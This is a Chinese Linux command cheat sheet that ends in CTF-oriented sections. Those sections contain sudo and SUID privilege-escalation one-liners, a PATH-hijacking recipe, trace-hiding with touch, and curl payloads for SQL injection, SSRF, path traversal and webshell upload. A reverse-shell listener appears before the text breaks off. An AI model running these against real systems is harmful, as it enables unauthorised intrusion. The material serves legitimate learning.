

Linux 速查手册

目录

- [基础入门](#)
 - [文件与目录](#)
 - [链接](#)
 - [用户与权限](#)
 - [查找文件](#)
 - [软件仓库](#)
 - [文本操作](#)
 - [重定向与管道](#)
 - [进程管理](#)
 - [文件压缩](#)
 - [网络](#)
 - [远程管理](#)
 - [系统信息](#)
 - [磁盘管理](#)
 - [Vim 编辑器](#)
 - [Shell](#)
 - [CTF Web 实战补充](#)
 - [详细查询CSDN](#)
-

基础入门

命令行解读

```
[root@izm5e8dsxce9ufaic7hi3uz ~]# pwd
/root
```

部分	说明
root	当前用户名
izm5e8dsxce9ufaic7hi3uz	主机名
~	当前目录（家目录）；root 的家目录为 /root，普通用户在 /home/用户名
# / \$	# 表示 root 权限，\$ 表示普通用户

```
whoami      # 查看当前用户名
hostname    # 查看当前主机名
```

终端命令格式

command	[-options]	[parameter]
命令	选项	参数

- 命令：要执行的操作，如 `ls`、`cp`、`rm`
- 选项：调整命令行为，短选项 `-l`，长选项 `--all`；多个短选项可合并：`-la`
- 参数：命令的操作对象，如文件名、目录名

```
ls -la /home      # 命令 + 选项 + 参数
ls --all /home     # 长选项写法
```

查阅命令帮助信息

```
# --help: 快速查看用法
ls --help
cp --help
```

```
# man: 查看完整手册 (manual)
man ls          # 查看 ls 手册
man cp
man 3 printf    # 第 3 章 (C 库函数), 共 1-9 章

# man 章节说明
# 1 用户命令  2 系统调用  3 C库函数  4 设备文件  5 配置文件
# 6 游戏      7 杂项      8 系统管理命令  9 内核接口

# man 内部操作
# ↑↓ / PgUp PgDn  翻页
# /关键词          搜索
# n / N            下一个 / 上一个匹配
# q                退出
```

键盘快捷键

快捷键	功能
↑ / ↓	调取历史命令
Tab	命令/路径补全
Ctrl + R	搜索历史命令
Ctrl + C	中止当前命令
Ctrl + L	清屏
Ctrl + A / E	光标跳到行首 / 行尾
Ctrl + U / K	剪切到行首 / 行尾
Ctrl + W	剪切左侧一个单词
Ctrl + Y	粘贴剪切内容
Ctrl + D	关闭 Shell 会话
Ctrl + Shift + =	放大终端字体(不是ctrl+)
Ctrl + -	缩小终端字体

`history` 列出所有历史命令; `!编号` (如 `!2`) 直接执行对应命令。

Tab 自动补全

```
# 输入部分内容后按 Tab 自动补全
ls /etc/hos<Tab>      # → /etc/hosts
apt install pyth<Tab>  # → apt install python3

# 连接两次 Tab，列出所有可能匹配
ls /etc/h<Tab><Tab>
```

- 左右键补全
-

文件与目录

Linux 文件和目录特点

- 文件和目录名区分大小写：`File.txt` 与 `file.txt` 是不同文件
- 以 `.` 开头的文件为隐藏文件，`ls` 默认不显示 `-a` 显示
- 路径分隔符为 `/`（正斜杠），根目录为 `/`
- 文件扩展名不影响系统识别，仅作参考
- `root` 不是根目录 `/` 才是

常用目录结构

目录	说明
<code>/</code>	根目录
<code>/root</code>	root 用户家目录
<code>/home</code>	普通用户家目录
<code>/etc</code>	系统配置文件
<code>/var</code>	变化数据（日志、缓存等）
<code>/tmp</code>	临时文件，重启后清空
<code>/bin</code>	基础命令（ <code>ls</code> 、 <code>cp</code> 等）
<code>/sbin</code>	系统管理命令（需 <code>root</code> ）

目录	说明
<code>/usr</code>	用户程序和数据
<code>/proc</code>	虚拟文件系统，映射内核/进程信息
<code>/dev</code>	设备文件
<code>/mnt</code>	临时挂载点

查看目录内容：ls 123常用

```
ls                # 列出当前目录文件
ls -a            # 显示隐藏文件（包含 . 和 ..）
ls -l           # 详细信息（权限、大小、时间等）
ls -d           # 只列出目录本身
ls -lh          # 以人类可读方式显示大小（配合 -l 使用）
ls -t           # 按修改时间排序（最新在前）
ls -r           # 逆序排列
ls -S           # 按文件大小排序
ls -la          # 组合：显示所有文件的详细信息
ls -lh          # 组合：详细信息 + 易读大小
ls /etc         # 查看指定目录
```

ls 通配符

通配符	含义
<code>*</code>	匹配任意多个字符（含零个）
<code>?</code>	匹配任意一个字符
<code>[abc]</code>	匹配 a、b、c 中任意一个字符
<code>[a-z]</code>	匹配 a 到 z 范围内的任意一个字符

```
ls *.txt          # 所有 .txt 文件
ls file?.txt      # file1.txt、filea.txt 等
ls [abc]*.py      # 以 a、b、c 开头的 .py 文件
```

切换目录: cd

```
pwd                # 显示当前路径 (print working directory)
pwd -p             # 不以链接档的数据显示, 而是显示正确的完整路径

cd /path           # 绝对路径切换
cd dir             # 相对路径切换 (当前目录下的 dir)
cd ~               # 回到家目录 (等价于 cd)
cd ..              # 返回上级目录
cd ../..           # 返回上两级
cd -               # 返回上一次目录 (在两个目录间来回切换)
```

绝对路径 vs 相对路径

绝对路径: 从根目录 / 写起, 如 /usr/share/doc

相对路径: 从当前目录开始, 如 由 /usr/share/doc 要到 /usr/share/man 底下时,

可以写成: `cd ../man`

. = 当前目录

.. = 上级目录

创建与删除

```
# touch - 创建文件 / 更新时间戳
touch file.txt      # 创建空文件, 若已存在则更新时间戳
touch a.txt b.txt c.txt # 同时创建多个文件
touch {1..5}.txt    # 创建 1.txt 到 5.txt

touch -a file.txt   # 修改时间 atime访问时间 mtime内容修
touch -m file.txt   # 改时间 ctime元数据变化(不能直接改)
touch -t 202604211530 file.txt
                        # YYYYMMDDhhmm格式
touch -d "2026-04-21 15:30:00"
or "2 hours ago"
or "next friday" file.txt # 自然语言或时间戳
touch -r file1.txt file2.txt # 复制别的文件时间 (隐藏痕迹常用)

# mkdir - 创建目录(make directory)
mkdir dir           # 创建目录
mkdir -p a/b/c      # 递归创建多级目录
```

```
mkdir -m 711 dir4      #创建权限为 rwx--x--x 的目录
mkdir dir1 dir2 dir3   # 同时创建多个目录

# rm - 删除文件或目录
rm file                # 删除文件
rm -i file             # 删除前确认
rm -r dir              # 递归删除目录
rm -rf dir             # 强制递归删除（慎用！无法恢复 无警告信息）
rm *.log               # 删除所有 .log 文件
```

拷贝与移动

```
# tree - 树形展示目录结构（需安装: yum install tree）
tree                  # 当前目录树形结构
tree /etc -L 2        # /etc 目录，最多展示 2 层

# cp - 复制
cp file1 file2        # 复制文件（file2 不存在则创建，存在则覆
                      # 盖）
cp -i file1 file2     # 覆盖前提示确认
cp -r dir1 dir2        # 复制目录（递归）
cp -p file1 file2     # 保留原文件的权限、时间戳等属性(备份)
cp file /path/         # 复制到指定目录（保留原文件名）
cp -d                 # 若来源档为链接档的属性(link file)，则复
                      # 制链接档属性而非文件本身
cp -a                 # 相当于-pdr 原封不动复制 archive 常用

# mv - 移动 / 重命名
mv file1 file2        # 重命名（同目录）
mv file /path/        # 移动到指定目录
mv file /path/newname # 移动并重命名
mv -i file1 file2     # 覆盖前提示
mv dir1 /path/        # 移动目录
```

查看文件内容

```
cat file              # 查看文件全部内容
cat -n file           # 显示行号（-b不包括空白行 -n包括）
cat -A file           # 显示不可见字符（换行符等）（相当于-vET）
```

```
cat f1 f2          # 拼接输出多个文件
tac file           # 从最后一行开始写（cat反过来）php中可跳出框架
                  回显出来
nl file            # 显示行号

more file          # 分页查看（空格下翻，b 上翻，q 退出）
less file          # 更强的分页查看（支持上下翻页pgup and pgdn、
                  /string向下搜寻字符串 ?string向上，n重复前一
                  个搜寻 N反向重复 q 退出）

head file          # 默认查看前 10 行
head -n 5 file     # 查看前 5 行

tail file          # 默认查看后 10 行
tail -n 5 file     # 查看后 5 行
tail -f file       # 实时追踪文件末尾（Ctrl+C 退出，常用于日志）

# echo - 输出文字
echo "hello world" # 输出到终端
echo "hello" > file.txt # 输出写入文件（覆盖）
echo "hello" >> file.txt # 追加到文件
echo $PATH          # 输出环境变量
```

链接

Linux 文件由三部分组成：文件名、文件内容、权限，文件名通过 **inode** 绑定到内容。

硬链接

两个文件共享同一 **inode**（同一内容），删除任意一方不影响内容，直到两者都被删除。不支持目录链接。

```
ln file1 file2     # 创建 file2 为 file1 的硬链接
```

软链接（符号链接）

类似 Windows 快捷方式，有独立 **inode**，指向源文件路径。删除源文件后，软链接变为死链接。

```
ln -s file1 file2          # 创建软链接(前者实际文件 后者软链接  
                           即符号链接symlink)  
ln -s /etc/nginx file2    # 软链接到绝对路径（推荐）  
ln -sf file1 file2        # 强制创建（file2 已存在时覆盖）  
  
ls -l  
# lrwxrwxrwx 1 root root 5 Jan 14 06:42 file2 -> file1
```

文件软硬链接示意图

硬链接：

```
file1 └─┐  
         └─→ inode → 文件内容  
file2 └─┐
```

软链接：

```
file2 → (指向路径 file1) → inode → 文件内容  
删除 file1 后，file2 变为死链接（指向不存在的路径）
```

用户与权限

用户管理

```
sudo command          # 以 root 身份执行命令  
useradd lion          # 添加用户（家目录在 /home/lion）  
useradd -m lion       # 添加用户并创建家目录（某些系统默认不创建）  
useradd -s /bin/bash lion  # 指定登录 shell  
passwd lion           # 修改密码  
userdel lion          # 删除用户（保留 /home 目录）  
userdel lion -r       # 同时删除 /home 目录  
su lion               # 切换到 lion 用户  
su - lion             # 切换用户并加载其环境变量
```

```
sudo su # 切换为 root
```

查看用户信息

```
id # 查看当前用户 uid/gid/groups
id lion # 查看指定用户
cat /etc/passwd # 查看所有用户信息
who # 查看当前登录的用户
w # 查看登录用户及其操作
last # 查看登录历史记录
```

which — 查找命令路径

```
which ls # 查看 ls 命令的完整路径
which python3 # /usr/bin/python3
which nginx # 查看 nginx 所在路径
```

群组管理

```
groupadd friends # 创建群组
groupdel foo # 删除群组
groups lion # 查看用户所在群组

usermod -g friends lion # 修改主群组
usermod -G friends,foo lion # 添加到多个群组
usermod -a -G bar lion # 追加群组（不离开原群组）
usermod -l newname lion # 重命名用户（家目录需手动改）

chgrp bar file.txt # 修改文件群组
chown lion file.txt # 修改文件所有者
chown lion:bar file.txt # 同时修改所有者和群组
chown -R lion:lion /home/frank # 递归修改
```

文件权限

```
drwxr-xr-x
|  |  |  |  |  |  |
|  |  |  |  |  |  |
| 所有者  群组  其他用户
└─ d=目录  -=文件  l=链接
```

权限字符：**r**=读(4)，**w**=写(2)，**x**=执行(1)，**-**=无权限(0)

```
chmod 740 file.txt
# 7(rwx) 4(r--) 0(---) → 所有者读写执行，群组只读，其他无权限

chmod -R 777 /home/lion # 递归修改

# 字母方式
chmod u+rx file # 所有者增加读和执行
chmod g+r,o-r file # 群组加读，其他去读
chmod u=rwx,g=r,o=- file # 精确分配

# 常用权限速查
# 644 -rw-r--r-- 普通文件（所有者读写，其他只读）
# 755 -rwxr-xr-x 可执行脚本/目录
# 600 -rw----- 私密文件（如 SSH 密钥）
# 777 -rwxrwxrwx 完全开放（不推荐）
```

CTF 提权思路 —— sudo 与 SUID

```
# ① 查看当前用户可用的 sudo 权限（提权第一步必查）
sudo -l
# 输出示例：
# (ALL) NOPASSWD: /usr/bin/vim
# 说明：可以 sudo vim, vim 可以执行 shell → 提权

# 常见 sudo 提权方法（参考 GTF0Bins: https://gtfobins.github.io/）
sudo vim -c '!/bin/bash' # vim 提权
sudo python3 -c 'import os; os.system("/bin/bash")' # python 提权
sudo find . -exec /bin/bash \; -quit # find 提权
sudo awk 'BEGIN {system("/bin/bash")}' # awk 提权
```

```
# ② 查找 SUID 文件（以文件所有者权限执行，通常为 root）
find / -perm -4000 2>/dev/null
# -perm -4000: 有 SUID 位
# 2>/dev/null: 丢弃无权限报错信息
# 常见危险 SUID: /usr/bin/find /usr/bin/vim /usr/bin/python*
/usr/bin/nmap

# 同时查找 SUID 和 SGID
find / -perm -4000 -o -perm -2000 2>/dev/null

# 只列出关键 SUID 可执行文件（过滤系统正常项）
find / -perm -4000 2>/dev/null | grep -v "^/usr/lib\|^/usr/libexec"

# ③ 利用 SUID find 提权（示例）
find . -exec /bin/bash -p \; -quit
# -p 参数: 保留调用者的 EUID（即保留 root 权限）

# ④ 查找可写的关键目录/文件
find / -writable -type f 2>/dev/null | grep -v proc # 可写文件
find /etc -writable 2>/dev/null # /etc 下可写项
（危险）

# ⑤ 环境变量 PATH 劫持（提权常见手法）
# 场景: SUID 程序内部调用了 ls/cat 等命令但未用绝对路径
echo $PATH # 查看当前 PATH
export PATH=/tmp:$PATH # 将 /tmp 插到 PATH 最前面
echo '/bin/bash' > /tmp/ls # 创建同名恶意脚本
chmod +x /tmp/ls # 赋予执行权限
# 当 SUID 程序调用 ls 时，会优先执行 /tmp/ls → 获得 root shell
```

查找文件

locate — 数据库查找（快）

```
locate file.txt          # 查找包含关键字的文件
locate fil*.txt          # 支持通配符
locate -i File.txt       # 忽略大小写
updatedb                  # 更新数据库（新建文件需先执行）
```

find — 实时遍历硬盘（精准）

```
# 按名称
find / -name "syslog"
find /var/log -name "syslog*"
find . -iname "*.TXT"      # 忽略大小写

# 按大小
find /var -size +10M        # 大于 10M
find /var -size -50k        # 小于 50k
find /var -size +1M -size -10M # 1M 到 10M 之间

# 按访问时间
find -name "*.txt" -atime -7 # 近 7 天访问过
find -name "*.txt" -mtime -1 # 近 1 天修改过
find -name "*.txt" -ctime +30 # 30 天前创建的

# 按类型
find . -name "file" -type f # 仅文件
find . -name "file" -type d # 仅目录
find . -type l              # 仅软链接

# 按权限/所有者
find . -perm 644            # 权限为 644
find . -user lion           # 属于 lion 用户
find . -group friends       # 属于 friends 组

# 对结果操作
find -name "*.jpg" -delete # 批量删除
find -name "*.c" -exec chmod 600 {} \; # 批量执行命令
```

```
find -name "*.c" -ok chmod 600 {} \;      # 带确认提示
find -name "*.log" -exec ls -lh {} \;      # 查看找到的文件详情
```

软件仓库

yum (CentOS / RHEL)

```
yum update          # 更新所有软件包
yum update nginx    # 更新指定软件包
yum search xxx       # 搜索软件包
yum install xxx      # 安装
yum install -y xxx   # 安装（自动确认，不询问）
yum remove xxx       # 卸载
yum list installed   # 列出已安装的软件包
yum info nginx        # 查看软件包详情
```

切换阿里云源（**CentOS 7**）：

```
mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
wget -O /etc/yum.repos.d/CentOS-Base.repo
http://mirrors.aliyun.com/repo/Centos-7.repo
yum makecache
```

apt (Ubuntu / Debian)

```
apt update          # 更新软件包列表（不升级）
apt upgrade         # 升级所有已安装软件
apt install xxx      # 安装软件
apt install -y xxx   # 安装（自动确认）
apt remove xxx       # 卸载软件（保留配置文件）
apt purge xxx        # 卸载软件并删除配置文件
apt autoremove       # 清理无用依赖
apt search xxx       # 搜索软件包
apt show xxx         # 查看软件包详情
apt list --installed # 列出已安装软件
```

查看手册：

```
man ls          # 查看命令手册
man 3 rand      # 查看第 3 节（库函数）
ls --help       # 快速帮助
```

文本操作

```
# grep - 搜索关键字
grep path /etc/profile          # 查找含 path 的行
grep -i path /etc/profile       # 忽略大小写
grep -n path /etc/profile       # 显示行号
grep -v path /etc/profile       # 显示不含关键字的行
grep -r hello /etc              # 递归查找目录
grep -l hello /etc/*            # 只显示包含匹配的文件名
grep -c hello file.txt          # 统计匹配行数
grep -E ^path /etc/profile      # 正则：以 path 开头
grep -E "error|warn" app.log    # 匹配 error 或 warn

# sort - 排序
sort name.txt                   # 默认字典序
sort -r name.txt                # 倒序
sort -n nums.txt                # 数字排序
sort -k 2 file.txt              # 按第 2 列排序
sort -t , -k 2 file.csv         # 指定分隔符，按第 2 列排序
sort -R name.txt                # 随机排序
sort -o sorted.txt name.txt     # 输出到文件
sort -u name.txt                # 排序并去重

# wc - 统计
wc name.txt                     # 行数 单词数 字节数
wc -l name.txt                  # 只统计行数
wc -w name.txt                  # 只统计单词数
wc -c name.txt                  # 只统计字节数
wc -m name.txt                  # 只统计字符数
ls /etc | wc -l                 # 统计目录下文件数量（配合管道）

# uniq - 去重（仅处理连续重复行，通常先 sort）
```

```

uniq name.txt          # 去重输出
uniq -c name.txt       # 统计重复次数
uniq -d name.txt       # 只显示重复行
sort name.txt | uniq   # 先排序再去重（推荐组合）

# cut - 剪切
cut -c 2-4 name.txt    # 提取每行第 2-4 个字符
cut -d , -f 1 notes.csv # 按逗号分隔，取第 1 列
cut -d , -f 1,3 notes.csv # 取第 1 和第 3 列
cut -d : -f 1 /etc/passwd # 提取所有用户名

```

awk — 字段处理利器（CTF日志分析核心）

awk 按行处理文本，默认以空白为分隔符，`$1 $2 ...` 代表各字段，`$0` 代表整行，`NR` 是当前行号，`NF` 是字段总数。

```

# 基础格式: awk '条件 { 动作 }' 文件
awk '{print $1}' file.txt          # 打印每行第 1 列
awk '{print $1, $3}' file.txt      # 打印第 1 和第 3 列（逗号→空格分隔）
awk '{print NR, $0}' file.txt      # 打印行号 + 整行

# 指定分隔符（-F）
awk -F: '{print $1}' /etc/passwd  # 以冒号分隔，取第 1 列（用户名）
awk -F, '{print $2}' data.csv     # 以逗号分隔，取第 2 列

# 条件过滤
awk '$3 > 100 {print $0}' file.txt # 第 3 列大于 100 才输出
awk '/error/ {print $0}' app.log   # 包含 error 关键字的行
awk 'NR==5' file.txt              # 只打印第 5 行
awk 'NR>=3 && NR<=7' file.txt      # 打印第 3-7 行

# BEGIN / END 块
awk 'BEGIN{print "开始"} {print $1} END{print "结束"}' file.txt
awk 'BEGIN{count=0} /error/{count++} END{print count}' app.log #
统计 error 行数

# 内置变量
awk '{print NF}' file.txt          # 打印每行字段数
awk 'END{print NR}' file.txt       # 统计总行数 (= wc -l)

```

```

# CTF 实战: 分析 access.log, 统计各 IP 访问次数
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20

# CTF 实战: 提取 HTTP 状态码并统计
awk '{print $9}' access.log | sort | uniq -c | sort -rn

# CTF 实战: 找出访问 /admin 的所有 IP
awk '/\/admin/ {print $1}' access.log | sort -u

# CTF 实战: 打印最后一列 (字段数不固定时)
awk '{print $NF}' file.txt

# CTF 实战: 截取特定字段重新组合
awk -F: '{print $1":"$3}' /etc/passwd    # 用户名:UID

```

sed — 流式文本替换 (构造payload / 批量处理)

sed 逐行读取并按规则处理, 不修改原文件 (加 `-i` 才原地修改)。

```

# 基础格式: sed '命令' 文件

# 替换 (s 命令, 最常用)
sed 's/old/new/' file.txt      # 每行第一次出现的 old 替换为 new
sed 's/old/new/g' file.txt     # g = 全局替换 (每行所有出现)
sed 's/old/new/gi' file.txt    # gi = 全局 + 忽略大小写
sed 's/admin/guest/g' users.txt # 批量替换用户名

# 原地修改文件 (-i)
sed -i 's/old/new/g' file.txt  # 直接修改原文件
sed -i.bak 's/old/new/g' file.txt # 修改原文件, 同时生成 .bak 备份

# 打印指定行 (-n + p 组合)
sed -n '3p' file.txt           # 只打印第 3 行
sed -n '3,7p' file.txt         # 打印第 3 到 7 行
sed -n '/error/p' file.txt     # 打印包含 error 的行 (= grep)

# 删除行 (d 命令)
sed '3d' file.txt              # 删除第 3 行
sed '1,5d' file.txt            # 删除第 1-5 行

```

```

sed '/^#/d' file.txt          # 删除注释行（以 # 开头）
sed '/^$/d' file.txt          # 删除空行

# 插入 / 追加（i/a 命令）
sed '3i\插入到第3行前' file.txt    # 在第 3 行之前插入
sed '3a\追加到第3行后' file.txt    # 在第 3 行之后追加

# 正则表达式替换
sed 's/[0-9]\+/NUM/g' file.txt      # 将所有数字替换为 NUM
sed 's/\(admin\)\/[\1]/g' file.txt  # 给 admin 加方括号（\1 引用分组）

# CTF 实战：从 HTTP 响应中提取 flag
curl -s http://target.com | sed -n '/flag/p'

# CTF 实战：清洗日志，去掉空行和注释
sed '/^$/d; /^#/d' config.txt

# CTF 实战：把 URL 列表中的 http 换成 https
sed 's/^http:/https:/g' urls.txt

```

xargs — 命令拼接神器（批量操作）

xargs 把标准输入转换为参数，传给后续命令，解决"管道无法直接传参"的问题。

```

# 基础用法
cat urls.txt | xargs curl          # 对每个 URL 执行 curl
cat ips.txt | xargs ping -c 1      # 批量 ping

# -I {} 占位符（最常用，灵活控制参数位置）
cat urls.txt | xargs -I {} curl -s {}          # {}代替每行内容
cat urls.txt | xargs -I {} curl -s {} -o {}.html    # 下载并按URL命名
ls *.txt | xargs -I {} cp {} /backup/{ }          # 批量复制

# -n 每次传几个参数
echo "a b c d" | xargs -n 2 echo    # 每次传 2 个: a b / c d

# -P 并行执行（加速批量操作）

```

```

cat urls.txt | xargs -P 10 -I {} curl -s {} # 10 个并发请求

# 配合 find (find 的 -exec 替代, 更高效)
find . -name "*.log" | xargs grep "error" # 批量 grep
find . -name "*.php" | xargs grep "eval(" # 找含 eval
的 php 文件
find . -name "*.bak" | xargs rm -f # 批量删除备份文件

# -0 处理文件名含空格的情况 (与 find -print0 配合)
find . -name "*.txt" -print0 | xargs -0 grep "flag"

# CTF 实战: 批量请求一组 URL 并过滤包含 flag 的响应
cat urls.txt | xargs -I {} curl -s {} | grep flag

# CTF 实战: 批量测试参数
echo "1 2 3 4 5" | xargs -n 1 -I {} curl -s
"http://target.com/page?id={}"

# CTF 实战: 从文件名列表批量读取内容
cat filenames.txt | xargs -I {} cat {}

```

重定向与管道

```

键盘 → stdin(0) → 命令 → stdout(1) → 终端
                        → stderr(2) → 终端

```

符号	说明
>	标准输出重定向 (覆盖)
>>	标准输出重定向 (追加)
2>	标准错误重定向
2>>	标准错误追加
2>&1	错误合并到标准输出
<	指定命令输入来源

符号	说明
<<END	键盘输入直到 END 结束
	管道 前一个输出作为后一个输入

```

cut -d , -f 1 notes.csv > name.csv           # 提取第一列写入文件
cat not_exist.csv > res.txt 2> errors.log     # 分别重定向输出和错误
cat not_exist.csv >> res.txt 2>&1             # 合并追加
command > /dev/null 2>&1                     # 丢弃所有输出（静默执行）

# 管道组合
cut -d , -f 1 name.csv | sort > sorted.txt
du | sort -nr | head
grep log -Ir /var/log | cut -d : -f 1 | sort | uniq
ps -aux | grep nginx                         # 查找 nginx 进程
cat /etc/passwd | cut -d : -f 1 | sort        # 列出所有用户名并排序

```

如果希望屏蔽 stdout 和 stderr，可以这样写：

```
$ command > /dev/null 2>&1
```

进程管理

查看进程

```

w           # 查看登录用户及其操作
ps          # 当前终端进程快照
ps -ef      # 所有进程（标准格式）
ps -aux     # 含 CPU/内存信息（BSD 格式）
ps -aux | grep nginx # 过滤指定进程
top         # 动态进程列表（q 退出）
htop        # 增强版 top（需安装）

```

top 常用按键

按键	功能
P	按 CPU 使用率排序

按键	功能
M	按内存使用率排序
k	杀死指定 PID 进程
1	展开/折叠各 CPU 核心信息
q	退出

控制进程

```
kill 956          # 结束进程（发送 SIGTERM，可被程序捕获处理）
kill -9 956       # 强制结束（发送 SIGKILL，立即终止）
kill -l          # 列出所有信号
killall nginx     # 按名称杀死所有同名进程
pkill -f python   # 按关键字杀死匹配进程
```

前后台切换

```
command &        # 启动后台进程
nohup command &  # 忽略挂断信号运行于后台（关闭终端不停止）
Ctrl + Z        # 暂停当前前台进程
bg %1            # 将暂停的进程转为后台运行
fg %1           # 将后台进程转为前台
jobs            # 查看后台进程列表
```

进程状态码：R 运行 · S 休眠 · D 不可中断 · Z 僵死 · T 停止

systemd 守护进程

```
systemctl start nginx      # 启动服务
systemctl stop nginx       # 停止
systemctl restart nginx    # 重启
systemctl reload nginx     # 重新加载配置（不中断服务）
systemctl status nginx     # 查看状态
systemctl enable nginx     # 开机自启
systemctl disable nginx    # 取消自启
systemctl is-active nginx  # 是否正在运行
systemctl list-units --type=service # 列出所有 service
journalctl -u nginx        # 查看服务日志
journalctl -u nginx -f     # 实时追踪服务日志
```

文件压缩

```
# tar 归档
tar -cvf archive.tar file1 file2 # 创建归档
tar -tf archive.tar               # 查看内容（不解压）
tar -xvf archive.tar              # 解压
tar -xvf archive.tar -C /tmp/     # 解压到指定目录
tar -rvf archive.tar file.txt     # 追加文件

# tar + gzip（推荐，.tar.gz）
tar -czvf archive.tar.gz dir/    # 压缩
tar -xzvf archive.tar.gz         # 解压
tar -xzvf archive.tar.gz -C /tmp/ # 解压到指定目录

# tar + bzip2（压缩比更高，.tar.bz2）
tar -cjvf archive.tar.bz2 dir/
tar -xjvf archive.tar.bz2

# gzip - 单文件压缩
gzip file.txt                    # 压缩（原文件被替换为 file.txt.gz）
gzip -d file.txt.gz              # 解压（等价于 gunzip）
gzip -k file.txt                 # 压缩并保留原文件
gzip -9 file.txt                 # 最高压缩率
```

```
# bzip2 - 单文件压缩
bzip2 file.txt          # 压缩（生成 file.txt.bz2）
bzip2 -d file.txt.bz2   # 解压

# zip / unzip
zip -r sort.zip sort/   # 压缩目录
zip archive.zip f1 f2 f3 # 压缩多个文件
unzip archive.zip       # 解压到当前目录
unzip archive.zip -d /tmp/ # 解压到指定目录
unzip -l archive.zip    # 只查看不解压

# CTF 实战：压缩包分析（攻击视角）
unzip -p archive.zip    # 解压到 stdout（不写磁盘，直接看内容）
unzip -o archive.zip    # 强制覆盖解压（不询问）
zipinfo archive.zip     # 查看 zip 元信息（时间戳、压缩方式等）

# strings - 提取二进制/压缩包中的可打印字符串（CTF高频）
strings file.zip        # 直接从 zip 提取字符串（可能含隐藏 flag）
strings binary_file     # 从二进制提取字符串
strings -n 8 file       # 只显示长度 ≥ 8 的字符串（过滤短噪声）
strings file | grep flag # 直接搜 flag
strings file | grep -i "ctf\|flag\|key\|pass" # 多关键字搜索

# file - 识别真实文件类型（不相信扩展名）
file unknown_file      # 检测文件真实格式（jpg 可能是 zip）
file *                 # 批量检测当前目录所有文件

# xxd / hexdump - 查看文件头（判断真实格式）
xxd file.jpg | head -3  # 查看前几行十六进制（看魔数）
hexdump -C file | head -5 # 另一种格式

# CTF 实战：文件伪装识别
file suspicious.jpg     # 若显示 Zip archive → 实为 zip
mv suspicious.jpg suspicious.zip
unzip suspicious.zip

# CTF 实战：嵌套压缩包一键解压脚本思路
# while true; do file=$(ls); if [[ $file == *.zip ]]; then unzip -o
$file; rm $file; fi; done
```

```
# 查看压缩文件内容（不解压）
```

```
zcat file.tar.gz
```

```
zless file.tar.gz
```

网络

```
ifconfig # 查看网络接口信息
ifconfig eth0 # 查看指定网卡
ip addr # 更现代的方式查看 IP (ifconfig 替代)
ip route # 查看路由表
```

```
host github.com # 域名解析
host 13.229.188.59 # IP 反查主机名
nslookup github.com # 查询 DNS 信息
dig github.com # 更详细的 DNS 查询
```

```
ping google.com # 测试网络连通性
ping -c 4 google.com # 发送 4 个包后停止
ping -i 2 google.com # 每 2 秒发送一次
```

```
netstat -tuln # 查看所有监听的端口
netstat -anp | grep 80 # 查看 80 端口占用
ss -tuln # netstat 的现代替代
```

```
# 文件下载
```

```
wget http://example.com/file.zip
wget -c http://... # 断点续传
wget -O newname.zip http://... # 指定保存文件名
curl -O http://example.com/file.zip # curl 下载
curl -L -o file.zip http://... # 跟随重定向下载
```

curl 高级用法 —— CTF Web 核心工具

curl 是 CTF Web 方向最重要的命令行工具，可完全替代 Burp Suite 发送自定义 HTTP 请求。

— 基础请求 —

```
curl http://target.com # GET 请求
curl -s http://target.com # -s 静默（不显示进度）
curl -v http://target.com # -v 显示详细请求/响应头
                           （调试用）
curl -i http://target.com # -i 显示响应头 + 响应体
curl -I http://target.com # -I 只显示响应头（HEAD 请求）
```

— 请求方法 —

```
curl -X POST http://target.com # POST 请求（无数据）
curl -X PUT http://target.com # PUT 请求
curl -X DELETE http://target.com # DELETE 请求
curl -X OPTIONS http://target.com # OPTIONS 请求（探测允许的方法）
```

— 发送数据（POST body） —

```
curl -d "username=admin&password=123" http://target.com/login # 表单数据（Content-Type:
application/x-www-form-urlencoded）
curl -d '{"user":"admin","pass":"123"}' -H "Content-Type: # JSON 数据
application/json" http://target.com/api
curl -F "file=@shell.php" http://target.com/upload # 文件上传
                           （multipart/form-data）
curl -F "file=@shell.php;type=image/jpeg" http://target.com/upload # 伪造文件类型绕过检测
```

— 自定义请求头 —

```
curl -H "Cookie: session=abc123; admin=1" http://target.com
curl -H "User-Agent: Mozilla/5.0 (Windows NT 10.0)"
http://target.com
curl -H "X-Forwarded-For: 127.0.0.1" http://target.com # 伪造来源 IP
curl -H "Referer: http://target.com/admin" http://target.com/secret
curl -H "Authorization: Bearer eyJhbGc..."
http://target.com/api/flag
```

— Cookie 操作 —

```
curl -b "session=abc123" http://target.com # 发送
Cookie
curl -b cookies.txt http://target.com # 从文件读取
Cookie
curl -c cookies.txt http://target.com/login # 保存响应
Set-Cookie

# — 跟随重定向 —————
curl -L http://target.com # 跟随 301/302 跳转
curl -L --max-redirs 5 http://target.com # 最多跟随 5 次跳转

# — 输出控制 —————
curl -s http://target.com | grep flag # 静默输出并过滤
curl -s http://target.com -o response.html # 保存到文件
curl -s http://target.com > out.html # 等价写法

# — 代理（配合 Burp Suite）—————
curl -x http://127.0.0.1:8080 http://target.com # 通过 Burp
代理
curl -x http://127.0.0.1:8080 -k http://target.com # -k 忽略
HTTPS 证书错误

# — CTF 实战示例 —————
# 1. SQL 注入测试
curl -s "http://target.com/item?id=1' OR '1'='1"
curl -s "http://target.com/item?id=1 UNION SELECT 1,2,flag FROM
users--"

# 2. 登录并获取 Cookie，再带 Cookie 访问受保护页面
curl -s -c cookie.txt -d "user=admin&pass=123"
http://target.com/login
curl -s -b cookie.txt http://target.com/flag

# 3. SSRF 测试（让服务端访问内网）
curl -s "http://target.com/fetch?url=http://127.0.0.1/admin"

# 4. 文件包含 / 路径穿越测试
curl -s "http://target.com/page?file=../../../../etc/passwd"

# 5. 修改请求头绕过限制
```

```
curl -s -H "X-Real-IP: 127.0.0.1" -H "Admin: true"  
http://target.com/secret
```

nc (netcat) —— 网络瑞士军刀

nc 可以手动建立 TCP/UDP 连接，发送原始数据，是 CTF 中连接题目端口的标配工具。

```
# —— 连接远程端口 ——  
nc host 80 # 连接目标 80 端口（手动发 HTTP）  
nc target.com 4444 # 连接 CTF 题目端口（最常用）  
nc -v host 80 # -v 显示连接过程（verbose）  
  
# —— 手动发送 HTTP 请求（了解协议原理） ——  
# 连接后手动输入：  
# GET / HTTP/1.1  
# Host: target.com  
# （回车两次发送）  
  
# —— 监听端口（反弹 shell 接收端） ——  
nc -lvp 4444 # 在本地监听 4444 端口（l=listen, v=verbose, p=port）  
nc -lvp 4444 # -n 不做 DNS 解析（更快）  
  
# —— 反弹 shell（在目标机上执行） ——  
